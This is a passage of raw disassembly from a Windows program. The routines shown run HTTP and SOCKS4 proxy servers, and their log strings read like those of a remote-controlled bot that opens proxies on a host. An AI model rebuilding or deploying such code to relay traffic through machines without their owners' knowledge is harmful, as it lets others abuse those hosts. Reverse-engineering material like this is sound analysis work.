0D7FF056Ah dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 36EE890h, 333D7169h dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh dd 0FC8C3D8Bh, 6A0050h, 9C248C8Dh, 56000004h, 0D7FF5251h dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 31AE890h, 333D7169h dd 75000027h, 90016A0Dh, 427132E8h, 0FE43E902h, 858BFFFFh dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4291EF: ; CODE XREF: sub_4282C0+CA6j or esi, 0FFFFFFFFh loc_4291F2: ; CODE XREF: sub_4282C0+CC7j mov al, [esp+0B8h+var_A7] test al, al jnz short loc_429212 mov edx, [ebp+0BFh] push edx nop call near ptr 71AB9639h mov [ebp+0BFh], esi mov [esp+0BCh+var_AA], 1 loc_429212: ; CODE XREF: sub_4282C0+F38j lea ecx, [esp+0BCh+var_34] mov byte ptr [esp+0BCh+arg_53E0], 0Dh call sub_401226 lea ecx, [esp+0BCh+var_5C] mov byte ptr [esp+0BCh+arg_53E0], 0Ch call sub_401226 lea ecx, [esp+0BCh+var_74] mov byte ptr [esp+0BCh+arg_53E0], 2 call sub_401226 lea ecx, [esp+0BCh+var_8C] mov byte ptr [esp+0BCh+arg_53E0], 1 call sub_401226 lea ecx, [esp+0BCh+var_A8] mov byte ptr [esp+0BCh+arg_53E0], 0 call sub_401226 lea ecx, [esp+0BCh+var_4] mov [esp+0BCh+arg_53E0], esi call sub_4014B0 or esi, 0FFFFFFFFh loc_429280: ; CODE XREF: sub_4282C0+EBj mov al, [esp+0BCh+var_AA] test al, al jz loc_4282F8 loc_42928C: ; CODE XREF: sub_4282C0+1074j ; sub_4282C0+11CDj mov al, [ebp+0BAh] test al, al jz short loc_4292A9 mov eax, [ebp+0BBh] push eax nop call near ptr 71AB9639h mov [ebp+0BBh], esi loc_4292A9: ; CODE XREF: sub_4282C0+FD4j mov al, [esp+11h] test al, al jz short loc_4292C4 mov ecx, [ebp+0BFh] push ecx call near ptr 71AB9639h nop mov [ebp+0BFh], esi loc_4292C4: ; CODE XREF: sub_4282C0+FEFj ; sub_4282C0+1255j mov ecx, [esp+0C4h+arg_53D0] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 5494h retn ; --------------------------------------------------------------------------- loc_4292DD: ; CODE XREF: sub_4282C0+40Aj lea ecx, [esp+1Ch+arg_40] mov byte ptr [esp+1Ch+arg_5480], 0Ch call sub_401226 loc_4292EE: ; CODE XREF: sub_4282C0+3D7j lea ecx, [esp+1Ch+arg_28] mov byte ptr [esp+1Ch+arg_5480], 2 call sub_401226 loc_4292FF: ; CODE XREF: sub_4282C0+191j ; sub_4282C0+1AAj ... lea ecx, [esp+1Ch+arg_10] mov byte ptr [esp+1Ch+arg_5480], 1 call sub_401226 loc_429310: ; CODE XREF: sub_4282C0+85j lea ecx, [esp+1Ch+var_8] mov byte ptr [esp+1Ch+arg_5480], 0 call sub_401226 lea ecx, [esp+1Ch+arg_98] mov [esp+1Ch+arg_5480], esi call sub_4014B0 jmp loc_42928C ; --------------------------------------------------------------------------- loc_429339: ; CODE XREF: sub_4282C0+503j mov eax, [ebp+0BBh] push eax nop call near ptr 71AB9639h jmp loc_4294AA ; --------------------------------------------------------------------------- loc_42934B: ; CODE XREF: sub_4282C0+644j lea ecx, [esp+2Ch+arg_9D] call sub_4017E4 push eax lea ecx, [esp+30h+var_18] push offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"... push ecx call sub_40102D add esp, 0Ch lea ecx, [esp+2Ch+var_18] push 0 call sub_4013D9 push eax lea ecx, [esp+34h+var_18] call sub_4017E4 mov edx, [ebp+0BBh] push eax push edx nop call near ptr 71AB428Ah mov eax, [ebp+0BBh] mov esi, dword_50FC88 push eax call esi ; closesocket mov ecx, [ebp+0BFh] push ecx jmp loc_4294A8 ; --------------------------------------------------------------------------- loc_4293A8: ; CODE XREF: sub_4282C0+660j mov edx, [esp+38h+arg_D0] lea ecx, [esp+38h+arg_91] push edx call sub_4017E4 push eax lea eax, [esp+40h+var_24] push offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"... push eax call sub_40102D add esp, 10h lea ecx, [esp+38h+var_24] push 0 call sub_4013D9 push eax lea ecx, [esp+40h+var_24] call sub_4017E4 mov ecx, [ebp+0BBh] push eax push ecx nop call near ptr 71AB428Ah loc_4293F2: ; CODE XREF: sub_4282C0+711j ; sub_4282C0+719j mov edx, [ebp+0BBh] mov esi, dword_50FC88 push edx call esi ; closesocket mov eax, [ebp+0BFh] push eax jmp loc_4294A8 ; --------------------------------------------------------------------------- loc_42940D: ; CODE XREF: sub_4282C0+5EEj mov ecx, [ebp+0BBh] push ecx nop call near ptr 71AB9639h jmp loc_4294AA ; --------------------------------------------------------------------------- loc_42941F: ; CODE XREF: sub_4282C0+73Fj lea ecx, [esp+48h+arg_3C] mov byte ptr [esp+48h+arg_5454], 0Dh call sub_401226 lea ecx, [esp+48h+arg_14] mov byte ptr [esp+48h+arg_5454], 0Ch call sub_401226 lea ecx, [esp+48h] mov byte ptr [esp+48h+arg_5454], 2 call sub_401226 lea ecx, [esp+48h+var_18] mov byte ptr [esp+48h+arg_5454], 1 call sub_401226 lea ecx, [esp+48h+var_34] mov byte ptr [esp+48h+arg_5454], 0 call sub_401226 lea ecx, [esp+48h+arg_6C] mov [esp+48h+arg_5454], ebx call sub_4014B0 or esi, 0FFFFFFFFh jmp loc_42928C ; --------------------------------------------------------------------------- loc_429492: ; CODE XREF: sub_4282C0+D45j ; sub_4282C0+D4Dj mov ecx, [ebp+0BBh] mov esi, dword_50FC88 push ecx call esi ; closesocket mov edx, [ebp+0BFh] push edx loc_4294A8: ; CODE XREF: sub_4282C0+10E3j ; sub_4282C0+1148j call esi ; closesocket loc_4294AA: ; CODE XREF: sub_4282C0+1086j ; sub_4282C0+115Aj lea ecx, [esp+50h+arg_34] mov byte ptr [esp+50h+arg_544C], 0Dh call sub_401226 lea ecx, [esp+50h+arg_C] mov byte ptr [esp+50h+arg_544C], 0Ch call sub_401226 lea ecx, [esp+50h+var_8] mov byte ptr [esp+50h+arg_544C], 2 call sub_401226 lea ecx, [esp+50h+var_20] mov byte ptr [esp+50h+arg_544C], 1 call sub_401226 lea ecx, [esp+50h+var_3C] mov byte ptr [esp+50h+arg_544C], 0 call sub_401226 lea ecx, [esp+50h+arg_64] mov [esp+50h+arg_544C], ebx call sub_4014B0 jmp loc_4292C4 sub_4282C0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 6 dup(90h) db 4A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4299C0 proc near ; CODE XREF: sub_4018DEj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4299C0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F82 push offset aHttp_0 ; "HTTP" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E15C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4299C0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_429A30: ; CODE XREF: ___:loc_40112Cj ; ___:0040128Fj push esi mov esi, ecx call sub_402108 test byte ptr [esp+8], 1 jz short loc_429A48 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_429A48: ; CODE XREF: ___:00429A3Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429A60 proc near ; CODE XREF: sub_402108j push esi mov esi, ecx mov eax, [esi+9Eh] mov dword ptr [esi], offset off_43E15C cmp eax, 0FFFFFFFFh jz short loc_429A7B push eax nop call near ptr 71AB9639h loc_429A7B: ; CODE XREF: sub_429A60+12j mov ecx, esi call sub_40179E pop esi retn sub_429A60 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429AA0 proc near ; CODE XREF: sub_4010E1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_429AA0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push edi mov edi, ecx mov dword ptr [edi+9Eh], 0FFFFFFFFh loc_429AC3: ; CODE XREF: sub_429AA0+48j mov eax, [edi+99h] mov cl, [eax+11Ch] test cl, cl jz short loc_429AEA mov ecx, [edi+3Bh] push ecx call sub_40197E add esp, 4 cmp eax, 0FFFFFFFFh mov [edi+9Eh], eax jz short loc_429AC3 loc_429AEA: ; CODE XREF: sub_429AA0+31j mov edx, [edi+99h] mov al, [edx+11Ch] test al, al jz loc_429BBC push ebp push esi loc_429B00: ; CODE XREF: sub_429AA0+114j mov eax, [edi+9Eh] push eax call sub_4012DF mov ebp, eax add esp, 4 cmp ebp, 0FFFFFFFFh jz loc_429B9B test ebp, ebp jz short loc_429B9B push 0C3h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+1Ch+var_10], eax test eax, eax mov [esp+1Ch+var_4], 0 jz short loc_429B46 mov ecx, eax call sub_401884 mov esi, eax jmp short loc_429B48 ; --------------------------------------------------------------------------- loc_429B46: ; CODE XREF: sub_429AA0+99j xor esi, esi loc_429B48: ; CODE XREF: sub_429AA0+A4j mov ecx, [edi+99h] mov [esi+9Dh], edi mov [esi+99h], ecx mov edx, [edi+3Bh] lea eax, [edi+26h] lea ecx, [esi+26h] push eax mov [esp+20h+var_4], 0FFFFFFFFh mov [esi+3Bh], edx mov [esi+0BBh], ebp call sub_401FBE mov cl, [edi+97h] mov [esi+97h], cl mov dl, [edi+98h] mov ecx, esi mov [esi+98h], dl call sub_4013D4 jmp short loc_429BA6 ; --------------------------------------------------------------------------- loc_429B9B: ; CODE XREF: sub_429AA0+74j ; sub_429AA0+7Cj push 0FAh call near ptr 2850303h nop loc_429BA6: ; CODE XREF: sub_429AA0+F9j mov eax, [edi+99h] mov cl, [eax+11Ch] test cl, cl jnz loc_429B00 pop esi pop ebp loc_429BBC: ; CODE XREF: sub_429AA0+58j mov edi, [edi+9Eh] cmp edi, 0FFFFFFFFh jz short loc_429BCE push edi nop call near ptr 71AB9639h loc_429BCE: ; CODE XREF: sub_429AA0+125j mov ecx, [esp+14h+var_C] pop edi mov large fs:0, ecx add esp, 10h retn sub_429AA0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429C30 proc near ; CODE XREF: sub_40137Aj push ebx push esi mov esi, ecx push edi mov al, [esi+9Dh] lea edi, [esi+11h] test al, al mov eax, [esi+3Bh] lea ebx, [esi+26h] push eax mov ecx, edi jz short loc_429C58 call sub_4017E4 push eax push offset aSStartingProxy ; "[%s] Starting proxy on %d with SSL." jmp short loc_429C63 ; --------------------------------------------------------------------------- loc_429C58: ; CODE XREF: sub_429C30+19j call sub_4017E4 push eax push offset aSStartingPro_0 ; "[%s] Starting proxy on port %d." loc_429C63: ; CODE XREF: sub_429C30+26j mov ecx, ebx call sub_4014D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 1Ch mov ecx, esi call sub_4010E1 mov eax, [esi+3Bh] mov ecx, edi push eax call sub_4017E4 push eax push offset aSUnloadedProxy ; "[%s] Unloaded proxy on port %d." mov ecx, ebx call sub_4014D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 1Ch pop edi pop esi pop ebx retn sub_429C30 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429D00 proc near ; CODE XREF: sub_40211Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_429D00 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F82 push offset aSocks4 ; "Socks4" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E16C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_429D00 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_429D70: ; CODE XREF: ___:00401870j ; ___:loc_401B04j push esi mov esi, ecx call sub_401F87 test byte ptr [esp+8], 1 jz short loc_429D88 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_429D88: ; CODE XREF: ___:00429D7Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_429DA0 proc near ; CODE XREF: sub_401F87j jmp sub_40179E sub_429DA0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429DC0 proc near ; CODE XREF: sub_4010AFj var_81D = byte ptr -81Dh var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_808 = byte ptr -808h var_807 = byte ptr -807h var_806 = word ptr -806h var_804 = dword ptr -804h var_800 = byte ptr -800h var_400 = byte ptr -400h sub esp, 820h lea eax, [esp+820h+var_81D] push ebx push ebp push esi mov esi, dword_50FC90 mov ebp, ecx push edi push 0 push 1 mov ecx, [ebp+0A1h] push eax push ecx call esi ; recv cmp eax, 1 jge short loc_429E01 mov edx, [ebp+0A1h] push edx nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_429E01: ; CODE XREF: sub_429DC0+27j cmp [esp+830h+var_81D], 4 jnz loc_429FEC mov ecx, [ebp+0A1h] push 0 lea eax, [esp+834h+var_807] push 406h push eax push ecx call esi ; recv cmp eax, 1 jge short loc_429E3E mov edx, [ebp+0A1h] push edx nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_429E3E: ; CODE XREF: sub_429DC0+64j cmp [esp+830h+var_807], 1 jnz loc_429FEC mov cx, [esp+830h+var_806] mov edx, [esp+830h+var_804] xor eax, eax push 6 mov [esp+834h+var_818], eax push 1 mov [esp+838h+var_814], eax push 2 mov [esp+83Ch+var_810], eax mov word ptr [esp+83Ch+var_818], 2 mov [esp+83Ch+var_80C], eax mov word ptr [esp+83Ch+var_818+2], cx mov [esp+83Ch+var_814], edx nop call near ptr 71AB3B91h mov ebx, eax lea eax, [esp+830h+var_818] push 10h push eax push ebx nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh mov [esp+830h+var_808], 0 jnz short loc_429ED9 mov edx, [ebp+0A1h] mov ecx, 100h xor eax, eax lea edi, [esp+830h+var_800] mov [esp+830h+var_807], 5Bh push eax rep stosd lea ecx, [esp+834h+var_808] push 8 push ecx push edx nop call near ptr 71AB428Ah mov eax, [ebp+0A1h] push eax call near ptr 71AB9639h nop pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_429ED9: ; CODE XREF: sub_429DC0+D8j mov edx, [ebp+0A1h] mov ecx, 100h xor eax, eax lea edi, [esp+830h+var_800] mov [esp+830h+var_807], 5Ah push eax rep stosd lea ecx, [esp+834h+var_808] push 8 push ecx push edx nop call near ptr 71AB428Ah mov ecx, [ebp+0A1h] mov esi, dword_50FC50 lea eax, [esp+830h+var_81C] mov [esp+830h+var_81C], 1 push eax push 8004667Eh push ecx call esi ; ioctlsocket lea edx, [esp+830h+var_81C] mov [esp+830h+var_81C], 1 push edx push 8004667Eh push ebx call esi ; ioctlsocket loc_429F36: ; CODE XREF: sub_429DC0+1AFj ; sub_429DC0+1FEj ... mov edi, dword_50FC90 push 0 lea eax, [esp+834h+var_400] push 400h push eax push ebx call edi ; recv mov esi, eax test esi, esi jz loc_429FDA jge short loc_429F71 nop call near ptr 71AB94DCh cmp eax, 2733h jz short loc_429F71 push 0Ah nop call near ptr 2850303h jmp short loc_429F36 ; --------------------------------------------------------------------------- loc_429F71: ; CODE XREF: sub_429DC0+198j ; sub_429DC0+1A5j mov edx, [ebp+0A1h] push 0 lea ecx, [esp+834h+var_400] push esi push ecx push edx call near ptr 71AB428Ah nop mov ecx, [ebp+0A1h] push 0 lea eax, [esp+834h+var_400] push 400h push eax push ecx call edi ; recv mov esi, eax test esi, esi jz short loc_429FDA jge short loc_429FC3 nop call near ptr 71AB94DCh cmp eax, 2733h jz short loc_429FC3 push 0Ah nop call near ptr 2850303h jmp loc_429F36 ; --------------------------------------------------------------------------- loc_429FC3: ; CODE XREF: sub_429DC0+1E7j ; sub_429DC0+1F4j push 0 lea edx, [esp+834h+var_400] push esi push edx push ebx call near ptr 71AB428Ah nop jmp loc_429F36 ; --------------------------------------------------------------------------- loc_429FDA: ; CODE XREF: sub_429DC0+192j ; sub_429DC0+1E5j mov eax, [ebp+0A1h] mov esi, dword_50FC88 push eax call esi ; closesocket push ebx call esi ; closesocket loc_429FEC: ; CODE XREF: sub_429DC0+46j ; sub_429DC0+83j pop edi pop esi pop ebp pop ebx add esp, 820h retn sub_429DC0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A090 proc near ; CODE XREF: sub_40216Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42A090 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F82 push offset aSocks4 ; "Socks4" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E17C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42A090 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A100 proc near ; CODE XREF: ___:00401032j sub_4017A8j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401C3A test [esp+4+arg_0], 1 jz short loc_42A118 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_42A118: ; CODE XREF: sub_42A100+Dj mov eax, esi pop esi retn 4 sub_42A100 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42A130 proc near ; CODE XREF: sub_401C3Aj jmp sub_40179E sub_42A130 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A150 proc near ; CODE XREF: sub_40188Ej var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = byte ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_42A150 push eax mov large fs:0, esp sub esp, 28h push ebx push esi mov esi, ecx mov eax, [esi+3Bh] lea ecx, [esi+11h] push eax lea ebx, [esi+26h] call sub_4017E4 push eax push offset aSStartingSocks ; "[%s] Starting Socks4 Proxy on port %d." mov ecx, ebx call sub_4014D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 1Ch push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+9Dh], eax jz loc_42A359 mov cx, [esi+3Bh] xor eax, eax mov [esp+3Ch+var_2C], eax push ecx mov [esp+40h+var_28], eax mov word ptr [esp+40h+var_2C], 2 mov [esp+40h+var_24], eax mov [esp+40h+var_20], eax call near ptr 71AB2B66h nop mov word ptr [esp+3Ch+var_2C+2], ax mov eax, [esi+9Dh] lea edx, [esp+3Ch+var_2C] push 10h push edx push eax mov [esp+48h+var_34], 10h nop call near ptr 71AB3E00h test eax, eax jz short loc_42A226 mov ecx, [esi+9Dh] push ecx nop call near ptr 71AB9639h pop esi pop ebx mov ecx, [esp+34h+var_C] mov large fs:0, ecx add esp, 34h retn ; --------------------------------------------------------------------------- loc_42A226: ; CODE XREF: sub_42A150+B6j mov edx, [esi+99h] push ebp push edi mov al, [edx+11Ch] test al, al jz loc_42A310 loc_42A23C: ; CODE XREF: sub_42A150+1BAj mov eax, [esi+9Dh] push 0Ah push eax call near ptr 71AB88D3h nop cmp eax, 0FFFFFFFFh jnz short loc_42A260 push 0FAh call near ptr 2850303h nop jmp loc_42A2FC ; --------------------------------------------------------------------------- loc_42A260: ; CODE XREF: sub_42A150+FEj mov eax, [esi+9Dh] lea ecx, [esp+40h+var_30] lea edx, [esp+40h+var_18] push ecx push edx push eax nop call near ptr 71AC1028h mov ebp, eax cmp ebp, 0FFFFFFFFh jz loc_42A310 xor edi, edi cmp ebp, edi jz loc_42A310 push 0A5h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+44h+var_30], eax cmp eax, edi mov [esp+44h+var_4], edi jz short loc_42A2AE mov ecx, eax call sub_40211C mov edi, eax loc_42A2AE: ; CODE XREF: sub_42A150+153j mov ecx, [esi+99h] mov [edi+9Dh], esi mov [edi+99h], ecx mov edx, [esi+3Bh] push ebx lea ecx, [edi+26h] mov [esp+48h+var_4], 0FFFFFFFFh mov [edi+3Bh], edx mov [edi+0A1h], ebp call sub_401FBE mov al, [esi+97h] mov [edi+97h], al mov cl, [esi+98h] mov [edi+98h], cl mov ecx, edi call sub_4013D4 loc_42A2FC: ; CODE XREF: sub_42A150+10Bj mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jnz loc_42A23C loc_42A310: ; CODE XREF: sub_42A150+E6j ; sub_42A150+12Cj ... mov eax, [esi+9Dh] pop edi cmp eax, 0FFFFFFFFh pop ebp jz short loc_42A324 push eax nop call near ptr 71AB9639h loc_42A324: ; CODE XREF: sub_42A150+1CBj mov eax, [esi+3Bh] lea ecx, [esi+11h] push eax call sub_4017E4 push eax push offset aSUnloadedPro_0 ; "[%s] Unloaded proxy on %d." mov ecx, ebx call sub_4014D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 1Ch loc_42A359: ; CODE XREF: sub_42A150+69j mov ecx, [esp+3Ch+var_C] pop esi pop ebx mov large fs:0, ecx add esp, 34h retn sub_42A150 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A400 proc near ; CODE XREF: sub_40174Ej arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax nop call near ptr 71AB4FD4h test eax, eax jz short loc_42A421 mov ecx, [eax+0Ch] mov edx, [ecx] mov ecx, [esp+arg_4] mov eax, [edx] mov [ecx], eax mov al, 1 retn 8 ; --------------------------------------------------------------------------- loc_42A421: ; CODE XREF: sub_42A400+Dj xor al, al retn 8 sub_42A400 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A440 proc near ; CODE XREF: sub_4020C2j var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_400 = byte ptr -400h arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 50Ch push ebx mov ebx, [esp+510h+arg_4] push ebp push esi push edi mov [esp+51Ch+var_50C], 0 mov [esp+51Ch+var_508], 0 loc_42A461: ; CODE XREF: sub_42A440+12Cj mov ebp, [esp+51Ch+arg_0] mov [esp+51Ch+var_504], 1 mov [esp+51Ch+var_500], ebp xor eax, eax lea ecx, [esp+51Ch+var_500] loc_42A47A: ; CODE XREF: sub_42A440+45j cmp [ecx], ebx jz short loc_42A487 inc eax add ecx, 4 cmp eax, 1 jb short loc_42A47A loc_42A487: ; CODE XREF: sub_42A440+3Cj cmp eax, 1 jnz short loc_42A498 mov [esp+51Ch+var_4FC], ebx mov [esp+51Ch+var_504], 2 loc_42A498: ; CODE XREF: sub_42A440+4Aj lea eax, [esp+51Ch+var_50C] lea ecx, [esp+51Ch+var_504] push eax push 0 push 0 push ecx push 2 call near ptr 71AB2DC0h nop test eax, eax jbe short loc_42A523 cmp eax, 0FFFFFFFFh jz short loc_42A523 lea edx, [esp+51Ch+var_504] push edx push ebp call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jz short loc_42A4CC mov eax, ebp mov ebp, ebx jmp short loc_42A4CE ; --------------------------------------------------------------------------- loc_42A4CC: ; CODE XREF: sub_42A440+84j mov eax, ebx loc_42A4CE: ; CODE XREF: sub_42A440+8Aj push 0 lea ecx, [esp+520h+var_400] push 3FFh push ecx push eax call near ptr 71AB615Ah nop mov edi, eax xor esi, esi cmp edi, 0FFFFFFFFh mov [esp+edi+51Ch+var_400], 0 jz short loc_42A572 test edi, edi jz short loc_42A572 jbe short loc_42A51C loc_42A4FB: ; CODE XREF: sub_42A440+DAj mov edx, edi push 0 sub edx, esi lea eax, [esp+esi+520h+var_400] push edx push eax push ebp nop call near ptr 71AB428Ah cmp eax, 0FFFFFFFFh jz short loc_42A572 add esi, eax cmp esi, edi jb short loc_42A4FB loc_42A51C: ; CODE XREF: sub_42A440+B9j mov ebp, [esp+51Ch+arg_0] loc_42A523: ; CODE XREF: sub_42A440+70j ; sub_42A440+75j mov [esp+51Ch+var_500], ebp mov [esp+51Ch+var_504], 1 xor eax, eax lea ecx, [esp+51Ch+var_500] loc_42A535: ; CODE XREF: sub_42A440+100j cmp [ecx], ebx jz short loc_42A542 inc eax add ecx, 4 cmp eax, 1 jb short loc_42A535 loc_42A542: ; CODE XREF: sub_42A440+F7j cmp eax, 1 jnz short loc_42A554 mov [esp+eax*4+51Ch+var_500], ebx mov eax, [esp+51Ch+var_504] inc eax mov [esp+51Ch+var_504], eax loc_42A554: ; CODE XREF: sub_42A440+105j lea ecx, [esp+51Ch+var_50C] lea edx, [esp+51Ch+var_504] push ecx push edx push 0 push 0 push 2 nop call near ptr 71AB2DC0h test eax, eax jle loc_42A461 loc_42A572: ; CODE XREF: sub_42A440+B3j ; sub_42A440+B7j ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 50Ch retn 8 sub_42A440 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A5F0 proc near ; CODE XREF: sub_401C1Cj var_51C = word ptr -51Ch var_51A = word ptr -51Ah var_518 = dword ptr -518h var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_400 = dword ptr -400h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 51Ch push ebx push ebp mov ebp, [esp+524h+arg_4] push esi push edi mov edx, ecx movsx eax, byte ptr [ebp+3] dec eax mov [esp+52Ch+var_508], 0 mov [esp+52Ch+var_50C], 7 mov [esp+52Ch+var_51C], 2 jz short loc_42A68F dec eax jz short loc_42A63A dec eax jnz loc_42A782 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 51Ch retn 0Ch ; --------------------------------------------------------------------------- loc_42A63A: ; CODE XREF: sub_42A5F0+32j movsx eax, byte ptr [ebp+4] mov ecx, eax lea esi, [ebp+5] mov ebx, ecx lea edi, [esp+52Ch+var_400] shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov byte ptr [esp+eax+52Ch+var_400], 0 lea eax, [esp+52Ch+var_518] lea ecx, [esp+52Ch+var_400] push eax push ecx mov ecx, edx call sub_40174E test al, al jz loc_42A782 movsx esi, byte ptr [ebp+4] mov dx, [esi+ebp+5] add esi, 7 mov [esp+52Ch+var_51A], dx jmp short loc_42A6AB ; --------------------------------------------------------------------------- loc_42A68F: ; CODE XREF: sub_42A5F0+2Fj mov eax, [ebp+4] mov esi, 0Ah mov [esp+52Ch+var_400], eax mov [esp+52Ch+var_518], eax mov ax, [ebp+8] mov [esp+52Ch+var_51A], ax loc_42A6AB: ; CODE XREF: sub_42A5F0+9Dj mov ebx, dword_50FC30 push 11h push 2 push 2 call ebx ; socket push 11h push 2 push 2 mov edi, eax call ebx ; socket cmp edi, 0FFFFFFFFh jz loc_42A782 cmp eax, 0FFFFFFFFh jnz loc_42A782 mov edx, [esp+52Ch+arg_8] lea ecx, [esp+52Ch+var_51C] push 10h push ecx sub edx, esi push 0 add esi, ebp mov ebp, dword_50FC5C push edx push esi push edi call ebp ; sendto mov ebx, [esp+52Ch+arg_0] push 10h push ebx push edi nop call near ptr 71AB3E00h test eax, eax jnz short loc_42A782 loc_42A709: ; CODE XREF: sub_42A5F0+174j lea eax, [esp+52Ch+var_50C] lea ecx, [esp+52Ch+var_504] push eax push 0 push 0 push ecx push 1 mov [esp+540h+var_500], 0FFFFFFFFh mov [esp+540h+var_504], 1 nop call near ptr 71AB2DC0h 